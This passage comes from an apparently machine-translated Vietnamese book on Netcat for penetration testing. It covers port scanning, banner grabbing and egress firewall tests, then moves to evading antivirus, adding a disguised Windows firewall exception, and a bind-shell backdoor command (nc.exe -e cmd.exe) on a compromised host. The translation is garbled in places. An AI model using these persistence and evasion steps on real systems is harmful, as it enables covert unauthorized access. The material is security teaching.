phục vụ cùng một mục đích Những tập tin này cũng là tài liệu tham khảo cho việc sử dụng tên dịch vụ thay vì các số cổng
Trong hình 1.13, Netcat được chạy trong chế độ khách hàng với các tùy chọn sau: verbose, no DNS lookup, ngẫu nhiên thứ tự của cổng quét, mạng không hoạt động thời gian chờ 3 giây, và không có đầu vào / đầu ra chế độ Các máy chủ là 192.168.1.4, và các cổng để quét là 21-25 Netcat trở lại mở cổng 21, mà rất có thể sử dụng cho FTP Để biết thêm thông tin về cổng quét với Netcat, xem Chương 10,
Kiểm toán với Netcat
Figure 1.13 Port Scanning with Netcat
1.9 Chuyển tập tin(Transferring Files)
Một sử dụng chung cho Netcat là để chuyển các tập tin Netcat có khả năng cả hai kéo và đẩy các file Hãy xem xét ví dụ sau:
nc -l -p 12345 <textfile
Trong trường hợp này, Netcat được bắt đầu trong chế độ máy chủ trên cổng
12345 địa phương, và được cung cấptextfile Một khách hàng kết nối đến máy chủ này
là kéo tập tin từ máy chủ, và sẽ nhận đượctextfile:
Netcat cũng có thể được sử dụng để đẩy các tập tin Nếu bạn đang chạy Netcat
từ điểm đến (nơi bạn muốn tập tin kết thúc), bắt đầu Netcat ở chế độ máy chủ:
nc -l -p 12345> textfile
Trên máy tính nguồn, đẩy các tập tin bằng cách bắt đầu Netcat ở chế độ khách hàng:
nc 192.168.1.4 12345 <textfile
Trang 23Như với tất cả các kết nối sử dụng Netcat, chuyển tập tin được mã hóa Nếu bạn
lo lắng về sự riêng tư của dữ liệu bạn đang chuyển qua Netcat, xem xét sử dụng Cryptcat, một phiên bản của Netcat mà kết hợp các đường hầm được mã hóa Cryptcat
sử dụng cú pháp dòng lệnh giống như Netcat, nhưng sử dụng mã hóa twofish Cũng nên xem xét sử dụng Netcat bên trong một Shell (SSH) đường hầm an toàn như một phương tiện của việc mã hóa chuyển của Netcat Phần này có nghĩa là phải giới thiệu rất cơ bản để chuyển các tập tin với Netcat Để biết thông tin chi tiết hơn, đặc biệt là
trong tài liệu tham khảo để mã hóa và giải mã chuyển file, xem Chương 6,Chuyển tập tin với Netcat
1.10 Banner Grabbing
Banner grabbing là một kỹ thuật điều tra, được thiết kế để xác định thương hiệu, phiên bản, hệ điều hành, hoặc các thông tin khác có liên quan về một dịch vụ hay ứng dụng cụ thể Điều này đặc biệt quan trọng nếu bạn đang tìm kiếm một lỗ hổng liên kết với một phiên bản đặc biệt của một số dịch vụ
Cú pháp của một lấy biểu ngữ không phải là không giống như các dòng lệnh Netcat chuẩn Chạy Netcat ở chế độ khách hàng, danh sách các tên máy chủ thích hợp,
và cuối cùng danh sách các số cổng của các dịch vụ thích hợp Trong một số trường hợp, bạn có thể không phải nhập thông tin (xem hình 1.14) Trong trường hợp khác, bạn sẽ phải nhập lệnh có giá trị dựa trên các giao thức cụ thể (xem hình 1.15)
Figure 1.14SSH Banner Grabbing with Netcat
Trong hình 1.14, mở Netcat để mục tiêu của chúng tôi đã cho chúng tôi hai mẩu thông tin: tên máy liên quan đến IP, và các thông tin phiên bản dành cho các dịch vụ SSH chạy trên máy tính đó
Trang 24Figure 1.15HTTP Banner Grabbing With Netcat
Trong hình 1.15, chúng tôi bắt đầu Netcat ở chế độ khách hàng mục tiêu của chúng tôi là một máy chủ Web chạy trên IP mục tiêu Bằng cách phát lệnh GET (bất
kể thực tế là nó là một yêu cầu xấu), các thông tin trả về cho chúng ta phần mềm máy chủ Web và số phiên bản Nó cũng cho chúng ta biết rằng phiên bản đặc biệt này của Apache đang chạy trên một máy chạy Windows
Để biết thông tin chi tiết hơn, xem Chương 4, Banner Grabbing with Netcat.
Redirecting Ports and Traffic
Di chuyển đến một màu hơi sẫm màu của hoạt động, Netcat có thể được sử dụng để chuyển hướng cả hai cổng và giao thông Điều này đặc biệt hữu ích nếu bạn muốn che khuất nguồn gốc của cuộc tấn công Ý tưởng là để chạy Netcat thông qua một người trung gian để tấn công từ người trung gian và không phải là nguồn gốc Ví
dụ sau đây là rất đơn giản, nhưng nhiều chuyển hướng có thể được sử dụng Từ nguồn máy tính:
các pha tấn công từ cổng 54321 Đây là một trường hợp đơn giản củachuyển cổngport
Trang 25thông dụng hơn, hoặc thay đổi các cổng của các ứng dụng mà cổng bình thường có thể
bị chặn bởi tường lửa
Có một giới hạn rõ ràng để tiếp sức này Các dữ liệu đường ống là một kết nối một chiều Do đó, nguồn máy tính không có cách nào nhận được bất kỳ phản hồi từ các máy tính mục tiêu Giải pháp ở đây sẽ là thiết lập một relay thứ hai từ máy tính mục tiêu trở lại máy tính nguồn (tốt hơn là thông qua một người trung gian!)
Để biết thông tin chi tiết hơn về chuyển hướng giao thông, xem Chương 5,
The Dark Side của Netcat, Và Chương 7,Kiểm soát giao thông với Netcat.
1.11 Sử dụng khác
Phần này bao gồm các hoạt động cơ bản của Netcat, nhưng chỉ giới hạn cho các hoạt động Netcat là trí tưởng tượng của bạn tiềm năng, các hoạt động nâng cao khác cho Netcat bao gồm:
1 Quét dễ bị xâm lược (xem Chương 2,Netcat và Mạng lưới kiểm tra thâm nhập, Và Chương 3,Netcat và ứng dụng thử nghiệm thâm nhập)
2 Xử lý sự cố mạng chung (xem Chương 8,Khắc phục sự cố với Netcat)
3 Mạng và kiểm toán thiết bị (xem Chương 9,Auditing với Netcat)
4 Sao lưu các tập tin, thư mục, và thậm chí cả ổ đĩa
Phần còn lại của cuốn sách này là dành riêng cho những điều này và nhiều công dụng khác của Netcat
1.12 Tóm lược
Netcat là một chương trình mạng được thiết kế để đọc và ghi dữ liệu trên cả hai kết nối UDP, sử dụng bộ giao thức IP TCP và Đơn giản hơn, Netcat là phiên bản
mạng của chương trình UNIXcat Trong cùng một cách mà cat đọc và ghi thông tin
cho file, netcat đọc và ghi thông tin qua kết nối mạng Mặc dù sự ra đời của các công
cụ tiên tiến hơn trong thập kỷ qua, Netcat vẫn còn phổ biến trong những người dùng cho tính năng đơn giản nhưng mạnh mẽ của nó
Đơn giản nhưng mạnh mẽ là một chủ đề mà gắn chương này lại với nhau Như chúng ta đã thấy, lắp đặt Netcat, cho dù bởi Windows hoặc Linux (thông qua gói hoặc nguồn), là đơn giản Chỉ có một số ít các công tắc thường được sử dụng, mà làm cho việc học các dòng lệnh thực tế dễ dàng Tuy nhiên, việc cài đặt rắc rối-miễn phí và các dòng lệnh dễ dàng dám nhận lời thách thực tế là Netcat thực sự là một chương trình mạnh và mạnh mẽ,đơn giản Netcat có thể gây ra một số người bỏ qua nó Người ta đã
Trang 26nói rằng họ "đánh giá thấp" hữu dụng của Netcat Những người khác nói về "tái khám phá" Netcat sau vài năm Bất kể nguồn, câu trả lời luôn luôn có vẻ là đi với Netcat! Nhiều người dùng thậm chí còn đề nghị thay thế Telnet với Netcat.
Netcat là đủ hữu ích để có một chỗ trong bộ công cụ nhất của người dùng Cho
dù bạn là một quản trị mạng xử lý sự cố mạng của bạn, kiểm tra xâm nhập đánh giá an ninh của khách hàng, hay chỉ là một người dùng cố gắng tìm hiểu cái gì mới, Netcat có một cái gì đó cho bạn
Một vài năm trở lại, Mati Aharoni, một trong những nhà phát triển cốt lõi của các thử nghiệm thâm nhập CD Backtrack và người sáng lập của www.offensive-security.com, đã viết một bài báo an ninh ngắn mà chứng minh toàn bộ một hack từ đầu đến cuối Nó bắt đầu với một cổng quét, và sau đó tiếp tục với lấy banner, ứng dụng dễ bị tổn thương quét, thiết lập một cửa sau, và cuối cùng là chuyển một tập tin vào hệ thống nước Các tập tin được một tin nhắn văn bản ngắn mà chỉ nói: "Bạn đã bị hack!" Nếu bạn đã đi xa này, bạn biết rằng hack này được hoàn thành từ đầu đến cuối với chỉ một công cụ, Netcat
1.12 Giải pháp Fast Track
1.12.1 Sự giới thiệu
Netcat là một chương trình đơn giản cho phép đọc và ghi dữ liệu trên mạng,
giống như cách mà cat và ghi dữ liệu vào tập tin.
Netcat có sẵn trên hầu hết các hệ thống: UNIX / Linux, Windows, BSD, Mac,
và những người khác Linux và Windows là việc triển khai phổ biến nhất
Mặc dù các công cụ mới hơn và mạnh mẽ hơn, Netcat vẫn là một lựa chọn phổ biến trong người dùng
1.12.2 Cài đặt
Cài đặt Windows là một cách Đơn giản chỉ cần tải về và giải nén!
Cài đặt Linux không phải là quá khó khăn Cài đặt một gói phần mềm biên dịch trước hoặc tải về các nguồn và biên dịch nó cho mình
Các Netcat giúp màn hình không chỉ hữu ích để hiển thị các tùy chọn khác nhau, mà còn để xác nhận cài đặt, xác định phiên bản của một gói cài đặt trước đó, hoặc xác nhận nó đã được biên soạn với các tùy chọn GAPING_SECURITY_ LỖ
Tùy chọn(Options)
Trang 27Các–e opion, cho phép Netcat để thực hiện các chương trình, là những gì làm
cho Netcat mạnh mẽ như vậy
Tiêu chuẩn UNIX cụ redirector phép Netcat để đẩy và kéo dữ liệu từ nhiều nguồn khác nhau và các điểm đến, và các dữ liệu đường ống đến và đi từ các quá trình khác
Netcat có thể được sử dụng cho các cổng và chuyển hướng giao thông, trong đó
có thể che dấu nguồn gốc của cuộc tấn công
Trang 28CHƯƠNG 2 NETCAT PENETRATIONCÁC TÍNH NĂNG THỬ NGHIỆM2.1 Sự giới thiệu
Netcat là một Transmission Control Protocol (TCP / giao thức Internet (IP) tiện ích mạnh mẽ, có thể xử lý vô số các chức năng hệ thống- và liên quan đến mạng Chương này sẽ tập trung vào một số cách phổ biến để sử dụng Netcat trong quá trình thử nghiệm xâm nhập mạng Mặc dù Netcat không phải là một công cụ khai thác trong chính nó, nó có thể giúp giữ một chỗ đứng vững một khi bạn đã khai thác một hệ thống Trong chương này chúng ta sẽ thảo luận về Netcat cổng quét và nhận dạng dịch
vụ khả năng cũng chứng minh làm thế nào để có được thông tin ứng dụng máy chủ Web Chúng tôi cũng sẽ đi qua như thế nào để kiểm tra và xác minh quy tắc tường lửa
ra bên ngoài và nói chuyện về làm thế nào chúng ta có thể tránh bị phát hiện bằng cách
sử dụng phần mềm chống virus và Window Firewall Cuối cùng, tôi sẽ thảo luận và so sánh các phương pháp khác nhau để tạo ra một backdoor sử dụng Netcat
2.2 Port Scanning and Service Identification
Cảng quét và nhận dạng dịch vụ đóng một vai trò lớn trong quá trình thử nghiệm thâm nhập Nếu bạn không thể xác định một phiên bản dịch vụ và hoặc máy chủ đang chạy trên một hệ thống, rất khó để xác định bất kỳ thông tin lỗ hổng tiềm năng liên kết với nó Trong phần này, tôi sẽ thảo luận làm thế nào để sử dụng Netcat là một máy quét cổng, xác định thông tin phiên bản máy chủ Web, và xác định các dịch
vụ đáng ngờ hoặc chưa biết chạy trên một máy
2.3 Sử dụng Netcat như một Port Scanner
Đối với hầu hết các phần, Netcat không phải là mạnh nhất công cụ quét cổng có ngày hôm nay, nhưng nó có thể xử lý các nhiệm vụ Netcat theo mặc định sử dụng giao thức TCP cho tất cả các tùy chọn bao gồm quét cổng Bảng 2.1 thể hiện Netcat cổng quét tùy chọn
Một ví dụ cổng quét được thể hiện trong hình 2.1 Trong ví dụ này, Netcat sẽ cố gắng để kết nối với 65.535 cổng TCP và báo cáo kết quả cho các cửa sổ terminal
Các lệnh sau đây được sử dụng để làm một cổng TCP quét:
nc -v -z target port-range
Trang 29Hình 2.1 Một TCP Port Scan
Như thể hiện trong hình 2.1, Netcat đã phát hiện ra nhiều cổng mở TCP trên hệ thống mục tiêu của chúng tôi Ngoài ra, để chạy một cổng UDP quét trên một hệ thống mục tiêu, bạn cần phải đặt Netcat ở chế độ UDP như thể hiện với các lệnh sau đây
nc -v –u -z target port-range
Hơn nữa, nếu bạn thấy mình bị chặn bởi một công nghệ chặn tự động, cố gắng điều chỉnh khoảng thời gian chậm trễ Netcat bằng cách sử dụng
-i option Một số thuốc chẹn kích hoạt trên một chữ ký cụ thể, ngưỡng hẹn giờ,
và hoặc cổng tuần tự quét
Một cách để xác định threashold là để điều chỉnh khoảng thời gian cho mỗi
cổng quét Ngoài ra, để ngẫu nhiên thứ tự của dãy cổng mục tiêu, sử dụng-r option.
2.4 Banner Grabbing
Một tính năng hữu ích của Netcat là khả năng kết nối với một dịch vụ trong một
nỗ lực để xác định thông tin phiên bản bằng cách kích hoạt một phản ứng từ các biểu ngữ dịch vụ Banner grabbing có thể được áp dụng cho nhiều dịch vụ khác nhau Đối với phần này, tôi sẽ cho bạn thấy làm thế nào bạn có thể xác định phiên bản của một máy chủ Web bằng cách phát hành một số lệnh sử dụng Netcat
Trong ví dụ sau đây, chúng tôi muốn xác định phiên bản của một máy chủ Web bằng cách phát hành một yêu cầu HEAD Hypertext Transfer Protocol (HTTP) Các phương thức HEAD cho phép một khách hàng yêu cầu thông tin HTTP header Các
Trang 30chủ, bao gồm loại và phiên bản của máy chủ Web đang chạy Để thực hiện yêu cầu HEAD, chúng tôi sẽ cần phải thực hiện một kết nối đến máy chủ mục tiêu Web bằng
cách sử dụng lệnh Netcat:nc -v www.microsoft.com 80
Điều này chỉ đơn giản là làm cho một kết nối TCP đến máy chủ Web Khi kết nối
được thiết lập, bạn cần phải thực hiện lệnh sau vào cửa sổ Netcat: HEAD / HTTP / 1.0
Sau khi bạn nhấnENTER hai lần, chúng tôi nhận được phản ứng sau đây(http header information) từ máy chủ Web.
Như bạn có thể thấy từ kết quả thể hiện trong hình 2.2, www.microsoft.com đáng ngạc nhiên là chạy một Microsoft-IIS / 7.0 máy chủ Web bằng cách sử dụng khung ứng dụng web ASP.NET
Hình 2.2 Một yêu cầu HTTP HEAD / ứng dụng Netcat
2.5 Scripting Netcatđể xác định Nhiều biểu ngữ Web Server
Nó là rất phổ biến để sử dụng một số lượng lớn các ứng dụng web trong một thử nghiệm thâm nhập Đang cố gắng để xác định loại ứng dụng và Web phiên bản máy chủ có thể là một nhiệm vụ khó khăn nếu bạn không có một cách tự động để thu thập thông tin Sử dụng các lệnh của chúng tôi trong phần banner, chúng ta có thể thêm chúng vào một kịch bản mà có thể tự động hóa quá trình các banner
Sau đây là một kịch bản mẫu Linux shell để nhận được các banner Web server:
for i in `cat hostlist.txt `;do nc -q 2 -v $i 80 < request.txt done vòng lặp cơ bản này sẽ đọchostlist.txt tập tin, trong đó có các địa chỉ IP hoặc tên miền của máy chủ
Trang 31Web được thành lập Trong ví dụ này, các -q 2 option là quan trọng cần lưu ý Nếu
máy chủ Web không phải là thực sự là một máy chủ Web mà một người biết lắng nghe
Netcat, và bạn không có -q option, kết nối của bạn có thể không chấm dứt Các -q 2 sẽ đảm bảo kết nối sẽ timeout sau hai giây được yêu cầu Cácrequest.txt tập tin có chứa các yêu cầu HEAD,HEAD / HTTP / 1.0 / n / n.
Banner grabbing không chỉ áp dụng khi cố gắng xác định loại hoặc phiên bản của một máy chủ Web Netcat cũng có thể được sử dụng để có được thông tin banner cho các dịch vụ như: File Transfer Protocol (FTP), Telnet, Secure Shell (SSH), Post Office Protocol (POP),Internet Message Access Protocol (IMAP), và Simple Mail Transfer Protocol(SMTP) (Xem chương 4 để biết thêm vào banner grabbing.)
kỳ thông tin rằng dịch vụ sẽ cung cấp cho chúng Hình 2.3 cho thấy một kết nối Netcat rất tiết đến cổng 65.522 trên hệ thống mục tiêu của chúng tôi
Figure 2.3 Identifying an Unknown Service using Netcat
Như bạn có thể thấy trong các ví dụ trước, các dịch vụ không rõ đã được xác định là một máy chủ SSH chạy trên cổng 65.522
2.7 Thử nghiệm Egress Firewall
Trong phần này chúng ta sẽ thảo luận làm thế nào để kiểm tra quy tắc tường lửa
ra bên ngoài để xác minh rằng các quy tắc lọc cổng ngoài được đưa ra và làm việc
Trang 32đúng cách Trong khi điều quan trọng là để xác minh rằng các điều khiển trên tường lửa được lọc đúng gói tin gửi đến, thường tổ chức chỉ tập trung vào việc lọc gói trong nước và không kiểm tra an ninh gói tin đi nếu không được gọi là lọc đi ra.
Đối với kiểm tra tường lửa đi ra, chúng ta sẽ cần hai hệ thống, một hệ thống sẽ được đặt vào bên trong các bức tường lửa (hệ A), và các hệ thống khác sẽ được đặt trên chu vi của tường lửa (hệ B) Mục tiêu của thử nghiệm này là để xác định những cổng được phép kết nối với hệ thống của chúng tôi nằm ở bên ngoài các bức tường lửa Một khi cả hai hệ thống được cấu hình, chúng tôi sẽ quét hệ thống B từ hệ thống
A để xác định các cổng TCP và UDP được phép đi ra
2.8 Hệ thống B - Các hệ thống bên ngoài của Firewall
Chức năng của hệ thống B là để lắng nghe trên tất cả và bất kỳ cổng cho các kết nối gửi đến và nếu nhận được, gửi một gói tin trả lời lại cho hệ thống nội bộ của chúng tôi Để xác định các cổng TCP và UDP, chúng tôi có thể kết nối, chúng ta muốn cấu hình
hệ thống bên ngoài của chúng tôi để lắng nghe trên tất cả 65.535 cổng TCP và UDP
Nó không phải là thực tế để mở cổng 131.070 sử dụng nghe Netcat riêng biệt Thay vào đó, chúng ta có thể cấu hình Netcat để nghe trên hai cổng, một cho các kết nối TCP và một cho kết nối UDP Sau đó chúng tôi có thể sử dụng thiết bị lọc gói của chúng ta về cơ bản cổng chuyển tiếp tất cả các kết nối TCP TCP Netcat listener của chúng tôi, và tất cả lưu lượng UDP để nghe UDP Netcat của chúng tôi
Đối với ví dụ này, hệ thống B đang chạy Gentoo Linux cấu hình để sử dụng Iptables, đó sẽ thực hiện chức năng cổng chuyển tiếp của chúng tôi TCP Netcat nghe được cấu hình để chấp nhận các kết nối trên giao thức TCP / 1234, và người nghe
Figure 2.4 Depicts the Egress Firewall Test
Trang 33Sau khi hệ thống B được cấu hình để sử dụng Iptables, chúng ta cần thêm một
số quy tắc để chuyển hướng lưu lượng đến cho người nghe Netcat thích hợp Để thực
hiện chức năng này, chúng ta sẽ sử dụng Iptables sau lệnh: iptables -t nat -A PREROUTING -i eth0 -p tcp dport 1:65535 -j REDIRECT to-port 1234
iptables -t nat -A PREROUTING -i eth0 -p udp dport 1:65535 -j
REDIRECT to-port 1234
Để xác minh các quy tắc được nạp vào Iptables, gõ lệnh sau:
iptables -L -n -t nat
Figure 2.5 Lists the Iptables Rules
Khi Iptables được cấu hình đúng cách, chúng ta có thể bắt đầu hai người nghe Netcat của chúng tôi sử dụng các lệnh sau đây trong thiết bị đầu cuối riêng biệt
nc -l -p 1234 nc -l –
u -p 1234
Tại thời điểm này, hệ thống B được thiết lập và sẵn sàng để chấp nhận các kết nối trên tất cả 65.535 cổng TCP, và tất cả 65.535 cổng UDP có thể thiết lập các hệ thống trên mạng nội bộ (Hệ thống A)
2.9 Hệ thống A - Các hệ thống bên trong của Firewall
Chức năng của hệ thống Một là để thực hiện một cổng quét của hệ thống B Trước khi chúng tôi bắt đầu quét cổng, chúng ta cần phải đảm bảo rằng hệ thống A được cách thích hợp nằm ở bên trong các bức tường lửa Sau đó, bạn có thể sử dụng bất kỳ hệ thống có khả năng làm một cổng quét có chức năng như hệ thống A Để chứng minh các cổng quét của hệ thống B, chúng tôi sẽ sử dụng Netcat trên hệ thống
A để thực hiện một cổng TCP đầy đủ quét
Trang 34Các kết quả của cổng quét Netcat của chúng tôi được thể hiện trong hình 2.6 Việc quét phát hiện có ba cổng cho phép kết nối từ hệ thống từ A đến B Hệ thống này
có nghĩa là, các kết quả kiểm tra tường lửa đi ra của chúng tôi xác nhận rằng lọc đi trên các bức tường lửa được cấu hình để chặn tất cả các kết nối TCP ra bên ngoài, ngoại trừ những người trên cổng TCP 443, 80, và 53
Figure 2.6 Results of the TCP Port Scan
2.10 Tránh phát hiện trên một hệ thống Windows
Trong phần này, chúng tôi sẽ thảo luận về cách để tránh bị phát hiện bởi Windows XP Firewall, và tránh bị phát hiện anti-virus Ngoài ra, chúng tôi sẽ thảo luận về một số phương pháp để che khuất quá trình Netcat của chúng tôi
2.11 Trốn tránh Windows XP /Windows 2003 Server Firewall
Phần này là nhằm mục đích trốn tránh các bức tường lửa công nghệ chặn của Windows trong nước dịch vụ Windows Firewall / Internet Connection Sharing (ICS), được tích hợp trong Windows XP SP2, cung cấp một tường lửa cơ bản mà thực hiện lọc gói tin gửi đến
Các bức tường lửa cũng phát hiện và, theo mặc định, các khối chương trình mà
cố gắng để mở TCP / IP socket và lắng nghe các kết nối đến Nếu không biết về tính năng Windows Firewall này, nó có thể trở thành một vấn đề cho một thử nghiệm thâm nhập, nếu chúng ta tạo ra một backdoor nghe kết nối đến Như thể hiện trong hình 2.7, Windowstường lửa chặn chương trình của tôi và gây ra một cảnh báo an toàn Windows khi tôi đã cố gắng để tạo ra một người biết lắng nghe TCP sử dụng Netcat
Hình 2.7Báo Bảo mật Windows kích hoạt bởi Windows Firewall
Trang 35Để hiểu rõ hơn về những gì chúng tôi đang cố gắng để thực hiện trong phần này, cho phép sử dụng các kịch bản sau đây.
Ví dụ
Bạn đã thỏa hiệp một hệ thống Windows với quyền hệ thống, và bạn muốn cài đặt một backdoor để bạn có thể truy cập hệ thống tại một thời gian sau đó Một vấn đề bạn nhận thấy là các cửa sổ tường lửa đang chạy và có khả năng sẽ cảnh báo người dùng hoặc quản trị các hoạt động của bạn Kể từ khi khai thác cho phép truy cập hệ thống đã không được phát hiện ở nơi đầu tiên, chúng tôi muốn giữ mức chúng tôi tiếp cận, tránh bị phát hiện từ các bức tường lửa, và có thể trở lại vào hệ thống khi chúng ta muốn
Để thực hiện điều này, chúng tôi có thể sửa đổi các quy tắc trên tường lửa cửa
sổ để cho phép chương trình của chúng tôi được tin cậy
2.12 Làm Firewallngoại lệ sử dụng lệnh Netsh
Netshlà Windows tiện ích dòng lệnh sử dụng để cấu hình tường lửa của Windows Sử dụng ví dụ trên, chúng tôi muốn tạo ra một backdoor với Netcat sẽ cho phép chúng tôi để có được một shell lệnh tại một thời gian sau đó Sử dụng một vài lệnh netsh, chúng tôi có thể đảm bảo rằng chương trình của chúng tôi sẽ được phép chấp nhận kết nối bằng cách làm cho một ngoại lệ trong các bức tường lửa cửa sổ Một ngoại lệ tường lửa cho phép một chương trình hoặc giao thức giao tiếp qua mạng Mục tiêu của phần này là thêm một cổng mà netcat sẽ được chạy trên vào danh sách ngoại
lệ của Windows Firewall Đầu tiên chúng ta cần phải xác định trạng thái của tường lửa cửa sổ và nếu nó được cấu hình để cho phép các trường hợp ngoại lệ
2.13 Xác định trạng thái của Firewall
Để xác định trạng thái của các cửa sổ tường lửa, chúng tôi sẽ sử dụng một
Trang 36lệnh netsh Các lệnh sau đây sẽ cho chúng tôi nếu Windows Firewall đang hoạt động và nếu nó được cấu hình để cho phép ngoại lệ cổng inbound.
Netsh firewall show opmode
Nếu chúng ta nhìn vào hình 2.8, chúng ta có thể thấy kết quả của các lệnh
netsh Chúng tôi muốn đặc biệt là nhìn vào các thiết lập dưới profile mà nói (hiện tại), vì đây sẽ là hoạt động hồ sơ Windows Firewall
Figure 2.8 Netsh Firewall Show Opmode Command
Nhìn vào cấu hình profile Domain (hiện hành) cài đặt, chúng tôi đang quan tâm đến các cài đặt chế độ hoạt động và chế độ ngoại lệ
Trong ví dụ của chúng tôi thiết lập được cấu hình như:
Operation mode = Enable
Exception mode = Enable
Thiết lập chế độ hoạt động được thiết lập để Kích hoạt tính, có nghĩa là các bức tường lửa được bật và chặn các kết nối đến Thiết lập chế độ ngoại lệ được thiết lập để Kích hoạt tính năng, mà cho chúng ta biết rằng các bức tường lửa cửa sổ được cấu hình để cho phép ngoại lệ đối với các bức tường lửa cửa sổ Tùy chọn này rất quan trọng vì nó cho phép chúng tôi để thêm một ngoại lệ cho cổng lắng nghe Netcat của chúng tôi
Nếu lệnh netsh báo cáo chế độ ngoại lệ vô hiệu hóa, các bức tường lửa không cho phép bất kỳ trường hợp ngoại lệ nào Trong trường hợp này, chúng ta có thể cấu hình tường lửa để cho phép ngoại lệ với các lệnh sau đây
Trang 37Sau khi chúng tôi xác minh rằng các thiết lập trên tường lửa được cấu hình để cho phép các trường hợp ngoại lệ, chúng ta có thể làm cho một ngoại lệ cho người nghe Netcat của chúng tôi Trong ví dụ sau, chúng ta sẽ thêm một ngoại lệ cho tường lửa của Windows để cho phép người nghe Netcat của chúng tôi để chấp nhận các kết nối gửi đến và không kích hoạt một cảnh báo của Windows Netcat listener của chúng tôi sẽ được lắng nghe trên TCP / 1234 Sử dụng lệnh sau đây chúng tôi sẽ bổ sung
thêm cổng TCP 1234 vào danh sách ngoại lệ và định nghĩa tên của các ngoại lệ netsh firewall add portopening TCP 1234 “Windows Firewall Reporting
Agent” enable all
Khi lệnh thành công, nó bổ sung thêm định nghĩa cổng của bạn vào danh sách ngoại lệ tường lửa bằng cách sử dụng giao thức, số cổng, và tên bạn được xác định trong các lệnh trước đó Bạn có thể xác minh rằng các quy tắc đã được thêm vào các
bức tường lửa bằng cách sử dụng lệnh,netsh firewall show port opening, Như thể hiện
trong hình 2.9
Figure 2.9 Shows the Windows Firewall Exception we Created
Tại thời điểm này, chúng ta có thể bắt đầu nghe Netcat của chúng tôi trên cổng TCP 1234 và tránh bị chặn bởi tường lửa Windows và tránh một thông điệp cảnh báo của Windows
2.14 Trốn tránh phát hiện Antivirus
Như đã nêu trên, trang web http://www.vulnwatch.org/netcat/:
"12/15/05 - Symantec hiện đang phát Netcat là HackTool.NetCat Hành động
mặc định của Norton AntiVirus là để xóa các chương trình vì vậy hãy cẩn thận rằng nó
Trang 38không bị xóa bỏ Netcat không còn là một công cụ tấn công hơn so với bất kỳ chuyển tập tin hoặc chương trình truy cập từ xa Nó không khai thác bất kỳ tổn thương "
Theo văn bản này, Symantec đã loại bỏ Netcat từ các định nghĩa virus của nó
và không còn được báo cáo Netcat là một công cụ hack Để tránh các nhà cung cấp chống virus tương lai từ việc chọn Netcat lên như là một công cụ độc hại, tôi vẫn khuyên bạn nên lập một phiên bản sửa đổi của Netcat
Có hai phương pháp để tránh bị phát hiện bởi các antivirus Bạn có thể thay đổi
mã nguồn và biên dịch lại chương trình, hoặc bạn có thể sử dụng một trình gỡ lỗi, xác định vị trí các chữ ký chống virus, và thay đổi nhị phân Phương pháp này chủ yếu được sử dụng khi mã nguồn không có sẵn Bởi vì mã nguồn Netcat có sẵn, chúng tôi
sẽ thay đổi mã nguồn Netcat và biên dịch lại chương trình
2.15 Biên dịch lại Netcat
Trong phần này, tôi thảo luận về biên dịch lại các phiên bản Windows của Netcat, được đưa vào Windows Chris Wysopal Bạn có thể có được phiên bản này của
Netcat, trong đó bao gồm các nguồn tại http://www.vulnwatch.org/netcat/.
Một khi chúng ta có mã nguồn Netcat, chúng tôi cần một trình biên dịch Windows để xây dựng chương trình Chúng tôi sẽ sử dụng Microsoft Visual Studio,
trong đó bao gồm một trình biên dịch dòng lệnh,cl.exe Trình biên dịch này sẽ làm việc
với các makefile được bao gồm trong các tập tin nguồn Netcat Sử dụng phương pháp biên dịch lại, chúng tôi sẽ thực hiện một số thay đổi đối với các tập tin nguồn Netcat
Figure 2.10 Shows the Netcat.c Source File
Thêm một số ý kiến để các file nguồn sẽ được đầy đủ của một sự thay đổi, vì vậy khi chương trình được biên dịch lại chữ ký của chương trình là khác nhau các phiên bản gốc
Trang 39Makefile có sẵn với mã nguồn Netcat có tất cả các tùy chọn biên dịch cần thiết bạn cần phải biên dịch lại chương trình, nó cũng có một biến trình biên dịch (cc), Mà cần phải được định nghĩa là trình biên dịch bạn đang sử dụng Biến trình biên dịch đã
được thiết lập tớicl
Do đó, nếu bạn đang sử dụng Visual Studio bạn không cần phải thay đổi bất cứ điều gì Tại các loại cửa sổ lệnhchế tạo và một chương trình Netcat mới với một chữ
ký khác nhau sẽ được tạo ra
Figure 2.11 Compiling Netcat
Mà không sửa đổi các makefile, lệnh make sẽ biên dịch một chương trình mới
có tên gọinc.exe.
2.16 Tạo một Netcat Backdoor trên Windows XP hoặc Windows 2003 Server
Netcat là một công cụ đa năng có thể thực hiện vô số các chức năng giao thức TCP / IP Một tính năng rất hữu ích, đặc biệt đối với một kiểm tra xâm nhập, là khả năng ra một tiện ích từ một hệ thống khác Trong phần này, chúng ta sẽ sử dụng tính năng này để truy cập vào một backdoor từ xa trên một hệ thống Windows XP Một backdoor là một kênh truyền thông rằng sẽ cung cấp cho chúng tôi với một vỏ lệnh từ
xa của một hệ thống khai thác trước đây (nạn nhân), cho phép chúng ta truy cập vào hệ thống tại một thời gian sau đó Trong phần này, tôi sẽ chứng minh cách khác nhau để
sử dụng và tạo ra một backdoor trên một máy chủ nạn nhân của Windows XP
Để minh chứng, trong phần này, tôi sẽ tiếp tục sử dụng netcat và nc.exe.
Trang 402.17 Phương thức kết nối Backdoor
Chúng tôi có hai phương pháp mà chúng ta có thể sử dụng để cung cấp một kênh thông tin liên lạc để backdoor Netcat của chúng tôi Hoặc chúng tôi có thể thiết lập một kết nối trực tiếp đến các backdoor từ hệ thống tấn công của chúng tôi, hoặc chúng ta có thể có backdoor đầu một kết nối đến một người biết lắng nghe trên hệ thống tấn công của chúng tôi
2.18 Khởi đầu một kết nối trực tiếp đến các Backdoor
Phương thức kết nối đầu tiên truy cập backdoor của chúng tôi là thực hiện Netcat ở chế độ daemon và lắng nghe một kết nối đến Một khi các backdoor đang lắng nghe cho một kết nối đến, chúng ta khởi tạo kết nối từ hệ thống tấn công của chúng tôi Sau khi kết nối được thiết lập giữa các hệ thống tấn công và các nạn nhân của chúng tôi, một cái vỏ từ xa được cung cấp cho các hệ thống tấn công Sơ đồ dưới đây cho thấy phương thức kết nối này
Để thiết lập kịch bản này, chúng ta cần phải hiểu các lệnh sẽ được thực hiện trên các nạn nhân để tạo ra kênh backdoor của chúng tôi Các Netcat lệnh mà chúng ta
sẽ muốn thực hiện trên hệ thống khai thác của chúng tôi (chủ nhà nạn nhân) bằng cách
sử dụng phương pháp nghe là: c: \ nc.exe -d -L -p 1234 -e cmd.exe
–d Detach from console, background mode
–L Listen harder, re-listen on socket close
–e cmd.exe Inbound program to execute (Windows command shell)
Lợi ích của phương pháp này
Figure 2.12 Direct Connection to Backdoor